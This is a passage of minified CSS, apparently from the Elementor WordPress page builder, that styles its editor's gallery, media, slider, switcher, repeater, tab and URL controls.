input:focus+.elementor-control-gap-label{color:var(--e-a-color-txt)}.elementor-control-type-gaps li .elementor-link-gaps{border:var(--e-a-border-bold);border-inline-start:none;background-color:var(--e-a-bg-default);padding:0;outline:none;border-start-start-radius:0;border-start-end-radius:var(--e-a-border-radius);border-end-start-radius:0;border-end-end-radius:var(--e-a-border-radius);cursor:pointer}.elementor-control-type-gaps li:first-child input{border-inline-start:1px solid var(--e-a-border-color-bold);border-start-start-radius:var(--e-a-border-radius);border-start-end-radius:0;border-end-start-radius:var(--e-a-border-radius);border-end-end-radius:0}.elementor-control-type-gaps li:first-child input:focus{border-color:var(--e-a-border-color-focus);margin-inline-start:0;width:100%}.elementor-control-type-gaps li:last-child{max-width:27px}.elementor-control-type-gaps.e-units-custom li.elementor-control-gap:focus-within{flex:2.5}.elementor-control-type-gaps .elementor-control-gap-label{color:var(--e-a-color-txt-muted);display:block;text-align:center;font-size:9px;padding-block-start:5px}.elementor-control-type-gaps .elementor-link-gaps.unlinked{background-color:var(--e-a-bg-default)}.elementor-control-type-gaps .elementor-link-gaps.unlinked .elementor-linked{display:none}.elementor-control-type-gaps .elementor-link-gaps:not(.unlinked){background-color:var(--e-a-bg-active-bold);color:var(--e-a-color-txt-accent);border-color:var(--e-a-border-color-bold)}.elementor-control-type-gaps .elementor-link-gaps:not(.unlinked) .elementor-unlinked{display:none}.elementor-control-type-icons .elementor-control-media__preview>*{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%)}.elementor-control-type-icons .elementor-control-media__preview i{font-size:70px}.elementor-control-type-icons .elementor-control-media__preview svg{height:75%}.elementor-control-type-icons .elementor-control-icons--inline__svg i.eicon-upload{font-size:15px}.elementor-control-type-gallery .elementor-control-media__content{border:var(--e-a-border-bold);border-radius:3px}.elementor-control-type-gallery .elementor-control-gallery-status{font-size:12px;height:27px;padding-inline-start:10px;border-block-end:var(--e-a-border-bold);display:flex}.elementor-control-type-gallery .elementor-control-gallery-status>*{display:flex;align-items:center}.elementor-control-type-gallery .elementor-control-gallery-status-title{flex-grow:1}.elementor-control-type-gallery .elementor-control-gallery-content{position:relative;overflow:hidden}.elementor-control-type-gallery .elementor-control-gallery-thumbnails{display:grid;grid-template-columns:repeat(auto-fill,minmax(48px,1fr));grid-gap:10px;cursor:pointer;padding:10px}.elementor-control-type-gallery .elementor-control-gallery-thumbnails:focus+.elementor-control-gallery-edit,.elementor-control-type-gallery .elementor-control-gallery-thumbnails:hover+.elementor-control-gallery-edit{opacity:1}.elementor-control-type-gallery .elementor-control-gallery-thumbnail{width:48px;height:48px;-o-object-fit:cover;object-fit:cover;border:var(--e-a-border)}.elementor-control-type-gallery .elementor-control-gallery-thumbnail+.unoptimized__image{outline:2px solid var(--e-a-btn-bg-danger-active);opacity:.6}.elementor-control-type-gallery .elementor-control-gallery-edit{position:absolute;top:0;bottom:0;left:0;right:0;background-color:rgba(0,0,0,.2);padding:10px;font-size:11px;transition:all .3s ease-in-out;pointer-events:none;cursor:pointer;opacity:0}.elementor-control-type-gallery .elementor-control-gallery-edit span{position:absolute;top:10px;left:10px;width:21px;height:21px;color:var(--e-a-color-white);background-color:rgba(0,0,0,.5);box-shadow:0 0 7px 0 rgba(0,0,0,.2);transition:var(--e-a-transition-hover)}.elementor-control-type-gallery .elementor-control-gallery-edit span i{font-size:11px;padding:5px}.elementor-control-type-gallery .elementor-control-gallery-edit span:hover{background-color:rgba(0,0,0,.6)}.elementor-control-type-gallery .elementor-control-gallery-add{width:48px;height:48px;font-size:14px}.elementor-control-type-gallery .elementor-control-gallery-add i{margin:0}.elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-clear,.elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-edit,.elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-thumbnails{display:none}.elementor-control-type-gallery.elementor-gallery-empty .elementor-control-gallery-content{padding:10px}.elementor-control-type-gallery.elementor-gallery-has-images .elementor-control-gallery-add{display:none}.elementor-control-type-gallery.elementor-control-dynamic .elementor-control-gallery-clear{border-inline-start:var(--e-a-border)}.elementor-control-type-gallery .elementor-control-gallery-clear{color:currentColor;background-color:transparent;border:none;cursor:pointer;justify-content:center}.elementor-control-type-gallery .elementor-control-gallery-clear:focus,.elementor-control-type-gallery .elementor-control-gallery-clear:hover{color:var(--e-a-color-danger)}.elementor-control-type-gallery .elementor-control-dynamic-switcher{border-width:0;border-inline-start-width:1px;border-block-end-width:1px;border-radius:0}.e-global__popover{width:288px;z-index:1;font-size:12px;padding-inline-start:10px}.e-global__popover-toggle{border:var(--e-a-border-bold);border-inline-end:0;border-start-start-radius:3px;border-start-end-radius:0;border-end-start-radius:3px;border-end-end-radius:0;display:flex;align-items:center;justify-content:center;cursor:pointer;transition:var(--e-a-transition-hover)}.e-global__popover-toggle:hover{background-color:var(--e-a-bg-hover)}.e-global__popover-toggle--active{color:var(--e-a-color-primary-bold);background-color:var(--e-a-bg-active-bold)}.e-global__popover-container{box-shadow:var(--e-a-popover-shadow);border-radius:var(--e-a-border-radius);background-color:var(--e-a-bg-default)}.e-global__popover-title{padding:15px 20px;font-weight:500;border-block-end:var(--e-a-border);display:flex}.e-global__popover-title>i{margin-inline-end:5px}.e-global__popover-title-text{flex-grow:1}.e-global__popover-info{margin-inline-end:10px;display:inline-block}.e-global__popover-info-tooltip{width:270px;z-index:1;background-color:rgba(0,0,0,.9);color:var(--e-a-color-white);padding:20px;border-radius:3px}.e-global__popover-info-tooltip:after{content:"";position:absolute;bottom:-17px;right:16px;border:10px solid transparent;border-block-start-color:rgba(0,0,0,.9)}.e-global__popover-info i{font-size:13px}.e-global__preview-items-container{max-height:400px;overflow-y:auto;padding:5px 0}.e-global__preview-items-container::-webkit-scrollbar{width:7px}.e-global__preview-items-container::-webkit-scrollbar-thumb{background-color:#babfc5;border-radius:10px}.e-global__manage-button{font-weight:500;cursor:pointer}.e-global__typography{padding-block:10px;padding-inline:35px 20px;white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.e-global__typography.e-global__preview-item--selected:before{font-family:eicons;font-size:13px;content:"\e90e";position:absolute;transform:translateY(-50%);top:50%;inset-inline-start:13px}.e-global__color{padding:10px 20px;display:flex;align-items:center}.e-global__color-preview-container{height:20px;width:20px;border-radius:3px;border:1px solid rgba(0,0,0,.1);margin-inline-end:10px;flex-shrink:0;position:relative}.e-global__color-preview-color,.e-global__color-preview-transparent-bg{border-radius:3px;height:100%;width:100%;position:absolute;top:0;left:0}.e-global__color-preview-transparent-bg{background-image:linear-gradient(45deg,var(--e-a-border-color-bold) 25%,transparent 0,transparent 75%,var(--e-a-border-color-bold) 0,var(--e-a-border-color-bold)),linear-gradient(45deg,var(--e-a-border-color-bold) 25%,transparent 0,transparent 75%,var(--e-a-border-color-bold) 0,var(--e-a-border-color-bold));background-size:12px 12px;background-position:0 0,calc(12px / 2) calc(12px / 2)}.e-global__color-title{flex-grow:1;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;padding-inline-end:10px}.e-global__color-hex{font-size:10px;color:var(--e-a-color-txt-muted)}.e-global__color .pcr-button{background-color:var(--e-a-bg-default)}.e-global__color.e-global__preview-item--selected .e-global__color-preview-container{display:flex;justify-content:center;align-items:center;color:var(--e-a-color-white)}.e-global__color.e-global__preview-item--selected .e-global__color-preview-container:before{font-family:eicons;font-size:13px;content:"\e90e";text-shadow:0 0 1px #000;z-index:1}.e-global__preview-item{cursor:pointer;position:relative}.e-global__preview-item:hover{background-color:var(--e-a-bg-hover)}.e-global__confirm-delete i,.e-global__confirm-message-text i{color:var(--e-a-color-warning)}.e-global__confirm-input-wrapper{display:flex;align-items:center;border:var(--e-a-border);border-radius:var(--e-a-border-radius);margin:15px 0;padding:2px}.e-global__confirm-input-wrapper input{font-family:var(--e-a-font-family);font-size:12px;padding:2px;border:0}.e-control-global .elementor-control-input-wrapper{display:flex;justify-content:flex-end;max-width:135px;width:100%}.e-control-global.elementor-control .elementor-control-input-wrapper{display:flex;flex-direction:row;align-items:stretch}.e-control-global .elementor-control-spinner{margin-inline-end:4px}.elementor-control-type-hidden{display:none!important}.elementor-control-type-icon .select2-selection__rendered .eicon{margin-inline-end:3px}.elementor-control-type-image_dimensions .elementor-control-field-description{margin:0 0 15px;line-height:1.4}.elementor-control-type-image_dimensions .elementor-control-input-wrapper{display:flex;align-items:flex-start}.elementor-control-type-image_dimensions .elementor-image-dimensions-field{width:65px}.elementor-control-type-image_dimensions .elementor-image-dimensions-field input:focus+.elementor-image-dimensions-field-description{color:var(--e-a-color-txt)}.elementor-control-type-image_dimensions .elementor-image-dimensions-separator{width:20px;text-align:center;padding-block-start:4px}.elementor-control-type-image_dimensions .elementor-image-dimensions-field-description{display:block;margin-block-start:5px;color:var(--e-a-color-txt-disabled);font-size:10px;text-align:center}.elementor-control-type-image_dimensions .elementor-image-dimensions-apply-button{margin-inline-start:auto}.elementor-control-media.e-media-empty-placeholder .e-control-image-size,.elementor-control-media.e-media-empty .elementor-control-media-area .elementor-control-media__content__remove,.elementor-control-media.e-media-empty .elementor-control-media-area .elementor-control-media__remove,.elementor-control-media:not(.e-media-empty) .elementor-control-media__content__upload-button{display:none}.elementor-control-media .eicon-plus-circle{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);color:var(--e-a-color-white);font-size:20px}.elementor-control-media__content__upload-button{background-color:var(--e-a-bg-active-bold)}.elementor-control-media__preview{height:100%;background-size:cover;background-position:50%;padding-block-end:42.8571%}.elementor-control-media-area{background-image:linear-gradient(45deg,var(--e-a-border-color-bold) 25%,transparent 0,transparent 75%,var(--e-a-border-color-bold) 0,var(--e-a-border-color-bold)),linear-gradient(45deg,var(--e-a-border-color-bold) 25%,transparent 0,transparent 75%,var(--e-a-border-color-bold) 0,var(--e-a-border-color-bold));background-size:16px 16px;background-position:0 0,calc(16px / 2) calc(16px / 2);background-color:var(--e-a-bg-default);border:var(--e-a-border-bold);aspect-ratio:21/9}.elementor-control-media-area:not(:hover) .elementor-control-media__remove{display:none}.elementor-control-media-area .eicon-video-camera{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);color:hsla(0,0%,100%,.7);font-size:21px}.elementor-control-media .elementor-control-media__content{aspect-ratio:21/9;position:relative;cursor:pointer;overflow:hidden}.elementor-control-media .elementor-control-media__content:hover:after{content:"";position:absolute;top:0;bottom:0;left:0;right:0;background-color:rgba(0,0,0,.2);pointer-events:none}.elementor-control-media .elementor-control-media__content:not(:hover) .elementor-control-media__tools{bottom:-30px}.elementor-control-media__content{transition:all .2s ease-in-out}.elementor-control-media__tools{position:absolute;bottom:0;left:0;right:0;height:27px;transition:all .2s ease-in-out}.elementor-control-media__tools>:not(:first-child){margin-inline-start:1px}.elementor-control-media__tool{display:flex;align-items:center;justify-content:center;flex-grow:1;color:var(--e-a-color-white);background-color:rgba(0,0,0,.9);font-size:11px;transition:var(--e-a-transition-hover)}.elementor-control-media__tool:hover{background-color:rgba(0,0,0,.8)}.elementor-control-media__remove{display:flex;align-items:center;justify-content:center;transition:all .3s ease-in-out}.elementor-control-media__content__remove{position:absolute;z-index:1;top:10px;left:10px;width:20px;height:20px;font-size:11px;color:var(--e-a-color-white);background-color:rgba(0,0,0,.5);border-radius:var(--e-border-radius);box-shadow:0 0 7px 0 rgba(0,0,0,.2);transition:var(--e-a-transition-hover)}.elementor-control-media__content__remove:hover{background-color:rgba(0,0,0,.6)}.elementor-control-media.e-media-empty .elementor-control-file-area,.elementor-control-media__warnings:empty{display:none}.elementor-control-media__warnings:not(:empty){margin-block-start:10px}.elementor-control-media__file{display:flex;justify-content:space-between;align-items:center;width:100%;margin-block-start:10px;border:var(--e-a-border)}.elementor-control-media__file__content{padding-inline-start:5px;font-size:12px}.elementor-control-media__file__content__label{color:#9da5ae}.elementor-control-media__file__content__info{display:flex;align-items:center;font-weight:500}.elementor-control-media__file__content__info__icon{margin-inline-end:5px}.elementor-control-media__file__controls{display:flex;border-inline-start:var(--e-a-border)}.elementor-control-media__file__controls__remove,.elementor-control-media__file__controls__upload-button{width:27px;height:27px;cursor:pointer;align-items:center}.elementor-control-media__file__controls__upload-button{display:flex;justify-content:center}.elementor-control-media__file__controls__remove{border-inline-end:var(--e-a-border)}.elementor-control-media.e-media-empty .elementor-control-media__file__content__info,.elementor-control-media.e-media-empty .elementor-control-media__file__controls__remove,.elementor-control-media:not(.e-media-empty) .elementor-control-media__file__content__label{display:none}.elementor-control-media .elementor-control-dynamic-switcher{border:none;border-radius:0;background-color:rgba(0,0,0,.9);color:var(--e-a-color-white)}.elementor-control-media .elementor-control-dynamic-switcher:hover{background-color:rgba(0,0,0,.8);color:var(--e-a-color-white)}.elementor-control-media .e-control-image-size{display:flex;flex-direction:column;width:100%;padding-block-start:20px}.elementor-control-media .e-control-image-size .elementor-control-input-wrapper{margin-inline-start:auto}.elementor-control-type-media.elementor-control-dynamic-value .elementor-control-input-wrapper{border:none}.elementor-control:not(.elementor-control-type-icons) .elementor-control-media__preview{background-color:var(--e-a-bg-active-bold)}.elementor-control-notice{display:flex;justify-content:flex-start;align-items:flex-start;gap:8px;padding:16px;border-radius:3px;border:1px solid var(--notice-control-color,var(--e-a-color-txt));color:var(--e-a-color-txt);font-size:12px;font-weight:400;line-height:1.5;text-align:start;margin-block-start:10px}.elementor-control-notice-type-info{--notice-control-color:var(--e-a-color-info)}.elementor-control-notice-type-success{--notice-control-color:var(--e-a-color-success)}.elementor-control-notice-type-warning{--notice-control-color:var(--e-a-color-warning)}.elementor-control-notice-type-danger{--notice-control-color:var(--e-a-color-danger)}.elementor-control-notice-icon{flex-basis:18px;color:var(--notice-control-color)}.elementor-control-notice-main{display:flex;flex-direction:column;justify-content:flex-start;align-items:flex-start;gap:6px;flex:1}.elementor-control-notice-main-heading{font-weight:700;font-style:italic}.elementor-control-notice-main-content{font-style:italic;line-height:1.5}.elementor-control-notice-main-actions{display:flex;gap:10px;padding-block-start:8px}.elementor-control-notice-main a{color:inherit;font-weight:700;cursor:pointer}.elementor-control-notice-main a:focus,.elementor-control-notice-main a:hover{color:inherit}.elementor-control-notice-dismiss{-webkit-appearance:none;-moz-appearance:none;appearance:none;background-color:transparent;border:0;padding:0;margin:0;cursor:pointer}.elementor-control-type-popover_toggle input{display:none}.elementor-control-type-popover_toggle label{cursor:pointer}.elementor-control-type-popover_toggle .elementor-control-input-wrapper{display:flex;flex-direction:row-reverse;align-items:center}.elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle:checked+.elementor-control-popover-toggle-toggle-label{color:var(--e-a-color-txt-active);background-color:var(--e-a-bg-active-bold)}.elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle:not(:checked)~.elementor-control-popover-toggle-reset-label{display:none}.elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle-label{height:27px;display:inline-flex;align-items:center;justify-content:center;border-radius:var(--e-a-border-radius);border:var(--e-a-border-bold);transition:var(--e-a-transition-hover)}.elementor-control-type-popover_toggle .elementor-control-popover-toggle-toggle-label:hover{background-color:var(--e-a-bg-hover)}.elementor-control-type-popover_toggle .elementor-control-popover-toggle-reset-label{color:var(--e-a-color-txt-muted);margin-inline-end:5px}.elementor-control-type-popover_toggle .elementor-control-popover-toggle-reset-label:hover{color:var(--e-a-color-txt)}.elementor-controls-popover.e-controls-popover--typography{padding-block-start:0}.e-control-global .elementor-control-popover-toggle-toggle-label{border-start-start-radius:0;border-start-end-radius:var(--e-a-border-radius);border-end-start-radius:0;border-end-end-radius:var(--e-a-border-radius);flex-shrink:0}.elementor-control-type-repeater .elementor-control:not(.elementor-control-type-tab){padding-inline-start:10px;padding-inline-end:10px;padding-block-end:10px}.elementor-control-type-repeater.elementor-repeater-has-maximum-rows .elementor-repeater-add,.elementor-control-type-repeater.elementor-repeater-has-maximum-rows .elementor-repeater-tool-duplicate,.elementor-control-type-repeater.elementor-repeater-has-minimum-rows .elementor-repeater-tool-remove{display:none}.elementor-control-type-repeater .elementor-repeater-fields{margin:10px 0}.elementor-control-type-repeater .elementor-repeater-row-controls{border:var(--e-a-border-bold);border-block-start-width:0;padding-block-start:15px}.elementor-control-type-repeater .elementor-repeater-row-controls:not(.editable){display:none}.elementor-control-type-repeater .elementor-repeater-row-tools{display:flex;align-items:center;width:100%;border:1px solid var(--e-a-border-color-bold);transition:var(--e-a-transition-hover)}.elementor-control-type-repeater .elementor-repeater-row-tools>button{display:flex;align-items:center;justify-content:center;height:40px;border:none;background-color:transparent;color:currentColor;cursor:pointer}.elementor-control-type-repeater .elementor-repeater-row-tools>button:focus,.elementor-control-type-repeater .elementor-repeater-row-tools>button:hover{background-color:var(--e-a-bg-hover)}.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title{flex:1;justify-content:flex-start;padding:0 10px;font-size:var(--control-title-size);white-space:nowrap;text-overflow:ellipsis;overflow:hidden}.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title .eicon,.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title i,.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title svg{margin-inline-end:5px}.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-item-title img[src$=svg]{width:1em}.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-tool{width:40px;border-inline-start:1px solid var(--e-a-border-color-bold)}.elementor-control-type-repeater .elementor-repeater-row-tools .elementor-repeater-row-handle-sortable{width:10px;border-inline-end:1px solid var(--e-a-border-color-bold);cursor:move}.elementor-control-type-repeater .elementor-button-wrapper{text-align:center;padding-block-start:5px}#elementor-controls{padding-block-start:15px}.elementor-control-type-section{padding:0}.elementor-control-type-section.e-open{padding-block-end:10px}.elementor-control-type-section+.elementor-control:not(.elementor-control-type-section):before{display:none}.elementor-control-type-section:not(:first-child):not(.elementor-control-type-section+.elementor-control-type-section){margin-block-start:25px}.elementor-control-type-select .elementor-control-input-wrapper{position:relative}.elementor-control-type-select .elementor-control-input-wrapper select{-webkit-appearance:none;-moz-appearance:none;appearance:none;font-size:var(--control-title-size);font-family:inherit;font-weight:inherit;font-style:inherit;text-transform:inherit;letter-spacing:inherit;line-height:inherit;flex-basis:100%;padding-inline-start:5px;padding-inline-end:20px;cursor:pointer}.elementor-control-type-select .elementor-control-input-wrapper select.e-select-placeholder{color:var(--e-a-color-txt-disabled)}.elementor-control-type-select .elementor-control-input-wrapper option.e-option-placeholder{display:none}.elementor-control-type-select .elementor-control-input-wrapper:after{font-family:eicons;content:"\e8ad";font-size:12px;position:absolute;top:50%;transform:translateY(-50%);left:5px;pointer-events:none}.elementor-control-type-select .elementor-control-field.elementor-control-field-select-small .elementor-control-input-wrapper{max-width:80px}.elementor-shadow-box .elementor-shadow-slider{margin-block-start:10px}.elementor-shadow-box .elementor-color-picker-wrapper .elementor-control-title{flex-grow:1}.elementor-control-type-slider.elementor-control-dynamic input{border-start-start-radius:var(--e-a-border-radius);border-start-end-radius:0;border-end-start-radius:var(--e-a-border-radius);border-end-end-radius:0}.elementor-control-type-slider .elementor-control-unit-2{width:21%}.elementor-control-type-slider.elementor-control-type-slider--multiple .elementor-control-input-wrapper{display:block}.elementor-control-type-slider--multiple{padding-block-end:40px}.elementor-control-type-slider--multiple .elementor-slider{margin-block-start:12px;width:98%}.elementor-control-type-slider--handles-range .elementor-slider .noUi-handle{border-radius:0;width:10px;transform:translateY(calc(50% - 14px)) translateX(-4px)}.elementor-control-type-slider--handles-range .elementor-slider .noUi-handle:after{content:"";position:absolute;top:2px;height:12px;width:11px;transform:rotate(45deg);background-color:var(--e-a-color-white);border-radius:3px}.elementor-control-type-slider--handles-range .elementor-slider .noUi-handle-lower:after{left:5px;box-shadow:2px -2px 3px 0 rgba(0,0,0,.1)}.elementor-control-type-slider--handles-range .elementor-slider .noUi-handle-upper:after{right:5px;box-shadow:-2px 2px 3px 0 rgba(0,0,0,.1)}.elementor-control-type-slider .elementor-control-dynamic-switcher{border-inline-start-width:0;border-start-start-radius:0;border-start-end-radius:var(--e-a-border-radius);border-end-start-radius:0;border-end-end-radius:var(--e-a-border-radius)}.elementor-control-type-slider .elementor-control-input-wrapper{display:flex;align-items:center}.elementor-control-type-slider .elementor-dynamic-cover{margin-block-start:10px}.elementor-control-type-slider.e-units-custom .elementor-slider{display:none}.elementor-control-type-slider.e-units-custom .elementor-slider-input{width:100%;margin:0;transition:none}.elementor-slider{flex-grow:1;height:4px;background-color:var(--e-a-border-color-bold);border-radius:5px;position:relative;cursor:pointer}.elementor-slider-input{width:21%;min-width:54px;margin-inline-start:12px;transition:width .3s ease-in-out}.elementor-slider__extra{position:relative}.elementor-slider__labels{display:flex;justify-content:space-between}.elementor-slider__label{font-size:9px;color:var(--e-a-color-txt-disabled)}.elementor-slider__scales{position:absolute;display:flex;justify-content:space-evenly;width:100%;margin-block-start:4px}.elementor-slider__scale{width:1px;height:21px;background-color:var(--e-a-border-color-focus)}.elementor-slider .noUi-handle{height:16px;width:16px;background-color:var(--e-a-color-white);left:0;transform:translateY(calc(50% - 14px)) translateX(-8px);position:absolute;box-shadow:0 1px 5px rgba(0,0,0,.3);border-radius:50%}.elementor-slider .noUi-connects{position:absolute;width:100%;height:4px}.elementor-slider .noUi-connect{position:absolute;z-index:0;top:0;left:0;height:100%;width:100%;will-change:transform;transform-origin:0 0;background-color:var(--e-a-border-color-focus)}.elementor-slider .noUi-tooltip{position:absolute;top:calc(100% + 5px);left:calc(50% - 4px);transform:translateX(-50%);font-size:10px}.elementor-control-type-structure .elementor-control-field{display:initial}.elementor-control-type-structure .elementor-control-structure-preset{padding:3px;border-radius:var(--e-border-radius);display:inline-block;cursor:pointer;height:50px}.elementor-control-type-structure .elementor-control-structure-preset svg{height:100%}.elementor-control-type-structure .elementor-control-structure-preset path{fill:var(--e-a-border-color-bold)}.elementor-control-type-structure .elementor-control-structure-reset{padding:15px 20px 0;font-size:11px;cursor:pointer;color:var(--e-a-color-txt-muted);border-block-start:var(--e-a-border);margin:0 -20px}.elementor-control-type-structure .elementor-control-structure-reset:hover{color:var(--e-a-color-txt)}.elementor-control-type-structure .elementor-control-structure-title{margin:10px -20px 0}.elementor-control-type-structure .elementor-control-structure-title:before{height:10px;box-shadow:inset 0 2px 4px hsla(0,0%,49.8%,.1)}.elementor-control-type-structure .elementor-control-structure-presets{display:flex;flex-wrap:wrap;justify-content:space-between}.elementor-control-type-structure .elementor-control-structure-presets input{display:none}.elementor-control-type-structure .elementor-control-structure-presets input:checked+.elementor-control-structure-preset path{fill:var(--e-a-border-color-focus)}.elementor-control-type-structure .elementor-control-structure-preset-wrapper{margin-block-end:15px}.elementor-control-type-structure .elementor-control-structure-preset-title{text-align:center;padding-block-start:5px;font-style:italic;font-size:11px;color:#9da5ae}.elementor-control-type-switcher .elementor-control-input-wrapper{text-align:end}.elementor-control-type-switcher .elementor-switch{position:relative;display:inline-block;vertical-align:top;height:20px;background-color:var(--e-a-bg-default);border-radius:18px;cursor:pointer}.elementor-control-type-switcher .elementor-switch-input{display:none}.elementor-control-type-switcher .elementor-switch-label{position:relative;display:block;height:inherit;font-size:10px;background:var(--e-a-bg-active-bold);border-radius:inherit;transition:.15s ease-out;transition-property:opacity,background}.elementor-control-type-switcher .elementor-switch-label:after,.elementor-control-type-switcher .elementor-switch-label:before{position:absolute;top:0;width:50%;text-align:center;line-height:20px;transition:inherit}.elementor-control-type-switcher .elementor-switch-label:before{content:attr(data-off);right:5px;color:var(--e-a-color-txt-muted)}.elementor-control-type-switcher .elementor-switch-label:after{content:attr(data-on);left:5px;color:var(--e-a-btn-color);opacity:0}.elementor-control-type-switcher .elementor-switch-input:checked~.elementor-switch-label{background:var(--e-a-btn-bg-primary)}.elementor-control-type-switcher .elementor-switch-input:checked~.elementor-switch-label:before{opacity:0}.elementor-control-type-switcher .elementor-switch-input:checked~.elementor-switch-label:after{opacity:1}.elementor-control-type-switcher .elementor-switch-handle{position:absolute;top:1px;left:1px;width:18px;height:18px;background:#fff;border-radius:10px;transition:left .15s ease-out}.elementor-control-type-switcher .elementor-switch-input:checked~.elementor-switch-handle{left:auto;right:1px}.elementor-control-type-tabs{display:flex;font-size:var(--control-title-size)}.elementor-control-type-tab{text-align:center;width:100%;padding:0;line-height:25px;border-block-start:var(--e-a-border-bold);border-block-end:var(--e-a-border-bold);border-inline-end:var(--e-a-border-bold);transition:var(--e-a-transition-hover);cursor:pointer}.elementor-control-type-tab:first-child{border-inline-start:var(--e-a-border-bold);border-start-start-radius:var(--e-a-border-radius);border-end-start-radius:var(--e-a-border-radius)}.elementor-control-type-tab:last-child{border-start-end-radius:var(--e-a-border-radius);border-end-end-radius:var(--e-a-border-radius)}.elementor-control-type-tab:hover{background-color:var(--e-a-bg-hover)}.elementor-control-type-tab.e-tab-active{background-color:var(--e-a-bg-active-bold);color:var(--e-a-color-txt-accent)}.e-tab-close{display:none!important}.elementor-control-type-code .elementor-control-dynamic-switcher,.elementor-control-type-textarea .elementor-control-dynamic-switcher{border-inline-start-width:1px;border-start-start-radius:0;border-start-end-radius:0;border-end-end-radius:0;border-end-start-radius:var(--e-a-border-radius)}.elementor-control-type-code:not(.elementor-control-dynamic-value) .elementor-control-dynamic-switcher,.elementor-control-type-textarea:not(.elementor-control-dynamic-value) .elementor-control-dynamic-switcher{position:absolute;top:0;left:0;z-index:1}.elementor-control-type-code .elementor-control-input-wrapper,.elementor-control-type-textarea .elementor-control-input-wrapper{position:relative}.elementor-control-type-code textarea,.elementor-control-type-textarea textarea{display:block;font-family:inherit}.elementor-control-type-code textarea:focus+.elementor-control-dynamic-switcher,.elementor-control-type-textarea textarea:focus+.elementor-control-dynamic-switcher{display:none}.elementor-control-type-code pre:focus-within+.elementor-control-dynamic-switcher,.elementor-control-type-textarea pre:focus-within+.elementor-control-dynamic-switcher{display:none}.elementor-control-type-url .elementor-control-field{position:relative}.elementor-control-type-url .elementor-control-input-wrapper{display:flex}.elementor-control-type-url.elementor-control-dynamic .elementor-control-url-more-options input{border-radius:var(--e-a-border-radius)}.elementor-control-type-url.elementor-control-dynamic-value .e-input-style{border-start-end-radius:0;border-end-end-radius:0}.elementor-control-type-url.elementor-control-dynamic-value .elementor-control-url-more{border-start-end-radius:var(--e-a-border-radius);border-end-end-radius:var(--e-a-border-radius)}.elementor-control-type-url .elementor-control-url-more{display:flex;align-items:center;justify-content:center;flex-shrink:0;border:var(--e-a-border-bold);color:currentColor;background-color:transparent;border-inline-start-width:0;cursor:pointer}.elementor-control-type-url .elementor-control-url-more i{font-size:12px}.elementor-control-type-url .elementor-control-url-more-options{display:none;padding-block-start:10px}.elementor-control-type-url .elementor-control-url-more-options .elementor-control-field-description{margin-block-start:10px}.elementor-control-type-url .elementor-control-url-more:hover{color:var(--e-a-color-txt-hover)}.elementor-control-type-url .elementor-control-url-more:focus{color:var(--e-a-color-txt-active);border-color:var(--e-a-border-color-focus)}.elementor-control-type-url .elementor-control-url-option{display:flex;align-items:center}.elementor-control-type-url .elementor-control-url-option:not(:last-child){padding-block-end:10px}.elementor-control-type-url .elementor-control-url-option input,.elementor-control-type-url .elementor-control-url-option label{cursor:pointer}.elementor-control-type-url .elementor-control-url-autocomplete-spinner{display:none;position:absolute;top:5px;right:0;width:10px;height:10px;font-size:10px;color:var(--e-a-color-txt-disabled)}.elementor-control-type-url .elementor-control-url__custom-attributes label{font-size:var(--control-title-size)}.elementor-control-type-url .elementor-control-url__custom-attributes input{width:100%;margin-block-start:10px}.elementor-control-type-url .elementor-input:focus~div{border-color:var(--e-a-border-color-focus)}.elementor-autocomplete-menu{position:absolute;background:var(--e-a-bg-default);border:var(--e-a-border);margin:0;list-style:none;padding:4px 0;height:auto;width:100%;min-width:260px;max-width:300px;max-height:200px;overflow-y:auto;border-radius:3px;transition:var(--e-a-transition-hover);cursor:default;z-index:1}.elementor-autocomplete-menu .ui-menu-item{display:flex;justify-content:space-between;align-self:baseline;padding:5px 8px;font-size:12px;width:100%;line-height:1.2;cursor:pointer}.elementor-autocomplete-menu .ui-menu-item.ui-state-active,.elementor-autocomplete-menu .ui-menu-item.ui-state-focus,.elementor-autocomplete-menu .ui-menu-item.ui-state-hover{background:var(--e-a-bg-hover)}.elementor-autocomplete-menu .elementor-autocomplete-item-info{font-size:10px;padding-block-start:2px}.elementor-control-type-wp_widget .widget-inside{line-height:2;background-color:inherit;display:block}.elementor-control-type-wp_widget .quicktags-toolbar input{width:auto}.elementor-control-type-wysiwyg *{box-sizing:content-box}.elementor-control-type-wysiwyg .wp-editor-container{border:var(--e-a-border)}.elementor-control-type-wysiwyg .wp-editor-tabs{border:var(--e-a-border-bold);border-block-end:none;border-start-start-radius:var(--e-a-border-radius);border-start-end-radius:var(--e-a-border-radius);border-end-end-radius:0;border-end-start-radius:0}.elementor-control-type-wysiwyg .wp-editor-tabs button:hover{background-color:var(--e-a-bg-hover)}.elementor-control-type-wysiwyg #insert-media-button{height:auto;line-height:24px;font-size:10px;color:var(--e-a-color-txt);border-color:var(--e-a-border-color-bold);background-color:var(--e-a-bg-default);min-height:0}.elementor-control-type-wysiwyg .ed_button{height:22px;width:auto}.elementor-control-type-wysiwyg .wp-media-buttons-icon{height:14px;margin:0}.elementor-control-type-wysiwyg .wp-media-buttons-icon:before{font-size:14px}.elementor-control-type-wysiwyg .wp-switch-editor{position:static;border:none;margin:0;color:var(--e-a-color-txt);font-size:10px;padding:3px 9px 4px}.elementor-control-type-wysiwyg .switch-html{border:solid var(--e-a-border-color-bold);border-width:0 1px}.elementor-control-type-wysiwyg .html-active .switch-tmce{background-color:transparent}.elementor-control-type-wysiwyg .html-active .switch-html,.elementor-control-type-wysiwyg .tmce-active 